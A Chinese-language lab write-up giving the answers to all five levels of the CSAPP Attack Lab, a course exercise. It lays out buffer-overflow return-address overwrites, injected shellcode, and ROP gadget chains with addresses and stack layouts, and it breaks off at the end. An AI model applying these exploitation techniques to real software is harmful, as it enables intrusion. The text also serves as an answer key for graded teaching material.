This article has an English version available.

CSAPP Lab3 Attack 解法

完整答案:

code/csapp/attack at master · BeautyyuYanli/code

Lv 1

0x4017c0(函数 touch1 的地址)覆盖 0x401976(真实的返回地址)。

当程序处于函数 getbuf 中时,可以用 x 0x28+$rsp 来查看地址。

Lv 2

用 gdb 查看以下地址:

  • cookie 的地址:0x6044e4
  • 原返回地址:0x5561dca0
  • touch2 的地址:0x4017ec

接下来需要一段注入代码来执行对 touch2 的调用。注入代码应从 buf 的内存空间底部开始,并以一串 nop 开头。然后设置调用 touch2 的参数与返回地址。

首先用 <injection> 的地址覆盖原返回地址:[0x5561dca0, +4] = 0x5561dc78,也就是 buf 内存空间的底部。

然后设置调用 <touch2> 的地址:[0x5561dc98, +8] = 0x4017ec0000000000,也就是 buf 内存空间的顶部。

注入代码如下:

nasm
0000000000000000 <injection>:
   0:  90                    nop
   1:  48 c7 c4 98 dc 61 55  mov    $0x5561dc98,%rsp
   8:  48 c7 c7 00 00 00 00  mov    $0x0,%rdi
   f:  48 8b bf e4 44 60 00  mov    0x6044e4(%rdi),%rdi
  16:  c3                    ret

栈布局应如下:

nasm
    addr of original ret -> addr of injection (0x5561dc78)
0x5561dca0 ^^^
buf:
    addr of touch2 (0x4017ec)
0x5561dc98 ^^^
injection:
    ret
    movq 0x6044e4(%rdi), %rdi
    movq $0, %rdi
    movq $0x5561dc98, %rsp
    nop...
0x5561dc78^^^

Lv 3

与 Lv2 类似:

  • cookie 的值:0x59b997fa
  • 字符串 '59b997fa' 对应的小端序值:0x6166373939623935
  • 原返回地址:0x5561dca0
  • touch3 的地址:0x4018fa

首先用 <injection> 的地址覆盖原返回地址:[0x5561dca0, +4] = 0x5561dc78,也就是 buf 的底部。

然后将 buf 底部(0x5561dc78)作为新的栈起始位置。

注入代码如下:

nasm
0000000000000000 <injection>:
   0:  90                    nop
   1:  48 c7 c4 78 dc 61 55  mov    $0x5561dc78,%rsp
   8:  48 bf 35 39 62 39 39  movabs $0x6166373939623935,%rdi
   f:  37 66 61 
  12:  6a 00                 push   $0x0
  14:  57                    push   %rdi
  15:  48 89 e7              mov    %rsp,%rdi
  18:  48 c7 c0 fa 18 40 00  mov    $0x4018fa,%rax
  1f:  50                    push   %rax
  20:  c3                    ret

Lv 4

常量:

  • cookie 值:0x59b997fa
  • touch2 地址:0x4017ec

gadget:

  • popq %rax : 0x4019cc
  • movq %rax, %rdi: 0x4019c5

栈布局:

nasm
# [any byte] * 0x28
addr: 0x4019cc
0x59b997fa
addr: 0x4019c5
addr: 0x4017ec

Lv 5

使用 ChatGPT 从 farm 中拼出字节序列:

寻找保存 %rsp 的 gadget:

grep -P '48 89 e[0-7] (90 )*c3' < dumpr.clean.d

得到:

  • mov %rsp, %rax : 0x401a06

寻找用于加法的 gadget:

grep -P '48 8d (.. ){0,4}c3' < dumpr.clean.d

得到:

  • lea (%rdi, %rsi, 1), %rax : 0x4019d6

寻找移动 %rax 的 gadget:

grep -P '48 89 c[0-7] (.. ){0,4}c3' < dumpr.clean.d

得到:

  • movq %rax, %rdi : 0x4019c5

寻找把某个值移到 %rsi 的 gadget:

grep -P '89 .[6e] (.. ){0,4}c3' < dumpr.clean.d

得到:

  • movl %ecx, %esi : 0x401a13

寻找把某个值移到 %ecx 的 gadget:

grep -P '89 [c-f](./1|9) (.. ){0,4}c3' < dumpr.clean.d

得到:

  • movl %edx, %ecx : 0x401a34

寻找把某个值移到 %edx 的 gadget:

grep -P '89 [c-f](./2|a) (.. ){0,4}c3' < dumpr.clean.d

得到:

  • movl %eax, %edx : 0x4019dd

最后,我们可以把一个值弹到 %eax:

  • popq %rax : 0x4019cc

最终代码结构如下:

nasm
mov %rsp, %rax : `0x401a06`
movq %rax, %rdi : `0x4019c5`
popq %rax : `0x4019cc`
movl %eax, %edx : `0x4019dd`
movl %edx, %ecx : `0x401a34`
movl %ecx, %esi : `0x401a13`
lea (%rdi, %rsi, 1), %rax : `0x4019d6`
movq %rax, %rdi : `0x4019c5`
call touch3
  • cookie 的值:0x59b997fa
  • 字符串 '59b997fa' 的字节序列编码:35 39 62 39 39 37 66 61

栈布局应如下:

nasm
# [any byte] * 0x28
addr: 0x401a06
=== %rax is here ===
addr: 0x4019c5
addr: 0x4019cc
0x9*8=0x48
addr: 0x4019dd
addr: 0x401a34
addr: 0x401a13
addr: 0x4019d6
addr: 0x4019c5
addr: 0x4018fa (touch3)
35 39 62 39 39 37 66 61

用 ChatGPT 转换: